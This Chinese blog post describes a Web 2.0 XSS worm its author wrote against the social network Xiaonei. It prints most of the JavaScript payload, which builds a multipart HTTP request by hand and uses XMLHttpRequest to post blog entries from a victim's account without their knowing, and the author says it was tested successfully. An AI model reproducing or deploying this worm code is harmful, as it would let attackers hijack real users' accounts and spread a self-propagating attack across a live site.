构造HTTP消息头以实现WEB2.0 WORM

作者:ycosxhack
来源:余弦函数

前天发现校内网的UBB XSS,code了两天,这只危害性极大的蠕虫编写完毕,测试成功。蠕虫部分代码如下:
function _1() {
src="
http://blog.xiaonei.com/NewEntry.do";
var title="\u0033\u002e\u0037\u7ef4\u5ea6 :-(";
//title与_body都将汉字进行16进制双字节编码了,这是解决汉字乱码的一个非常实用的技巧,记住了:-)

var _body="\u79bb\u6563\u503c\uff0c\u53ef\u60dc\u4f60\u770b\u5230\u7684\u662f\u4e71\u7801\u3002";
var blog_pic_id="";
var pic_path="";
var blogControl="99";
/////////////HTTP消息头构造开始/////////////
argv="\r\n"; //这行不可缺少,HTTP消息头的第一行是空白的
argv+="———————7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\n";
//name="title"以及下面所有的name="xxxx"都对应于表单中的表单元素的name属性值
//Content-Disposition是MIME协议的扩展,这里指定其使用form-data表单数据类型
argv+=(title+"\r\n");
argv+="———————7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"body\"\r\n\r\n";
argv+=(_body+"\r\n");
argv+="———————7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"theFile\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n";
argv+="———————7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"blog_pic_id\"\r\n\r\n";
argv+=(blog_pic_id+"\r\n");
argv+="———————7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"pic_path\"\r\n\r\n";
argv+=(pic_path+"\r\n");
argv+="———————7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"blogControl\"\r\n\r\n";
argv+=(blogControl+"\r\n");
argv+="———————7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"relative_optype\"\r\n\r\n";
argv+=("publisher"+"\r\n");
argv+="———————7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"del_relative_id\"\r\n\r\n\r\n";
argv+="———————7964f8dddeb95fc5–\r\n";
//注意最后一行的分割特征符———————7964f8dddeb95fc5最后有两减号–,表示HTTP消息头结束
/////////////HTTP消息头构造结束/////////////
_3or7("POST",src,argv); //使用XMLHttpRequest对象发送构造好的HTTP消息头
_2();
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
if(_m=="POST")_x.setRequestHeader("Content-Type","multipart/form-data; boundary=——————-7964f8dddeb95fc5");
//设置HTTP请求头类型,并指定使用——————-7964f8dddeb95fc5作为上面HTTP消息头的分割特征符
_x.send(_a);
return _x.responseText;
}
_1()函数的功能是:发表一篇文章,文章标题为:3.7维度 :-(,内容为:离散值,可惜你看到的是乱码。一定要注意我在HTTP消息头上写下的注释。HTTP消息头的构造是很严格的!
我在《web2.0 worm技术细节》里说过:即使这个功能模块本身不是基于AJAX,你的worm也可以使用AJAX技术或者同步的XMLHttpRequest()/XMLHTTP技术来实现数据的后台传输。其实这就要借助HTTP消息头技术,不过我在《web2.0 worm技术细节》中却想当然地绕过HTTP消息头的伪造来实现消息的后头传输。HTTP消息头我还没研究透,在这也不敢贸然否定什么。不过这次的WEB2.0 WORM是很成功的。除了无法绕过验证码或密码限制,其他的功能都能轻易完成。
有点要说明:如果某功能模块本身就是基于AJAX的,那么你就没必要构造HTTP消息头了,直接调用即可。 AJAX是WEB前台与后台数据通信的中间体,这为我们的AJAX WORM的生存提供了绝佳的环境,比如百度空间的许多功能模块就是基于AJAX的,校内网很少……!!!这样我就说明白了吧?
【相关文章】
1、校内网的蠕虫分析:http://hi.baidu.com/monyer/blog/item/bc20a60fd6068ceeaa6457f4.html
2、理解HTTP消息头:http://www.binken.cn/article.asp?id=23
3、web2.0 worm技术细节:http://hi.baidu.com/ycosxhack/blog/item/c41f3f24c6ceaa37c995597e.html
【后记】
这只蠕虫要爆发非常的容易,而且一旦爆发,我就会被骂死……呵呵,本来只想利用这个UBB XSS来做点好玩的事,没想到蠕虫就这样写出来了。现在发现HTTP消息头真好玩,XSS也越来越有趣了。适可而止了,脆弱的校内网。

相关日志

发表评论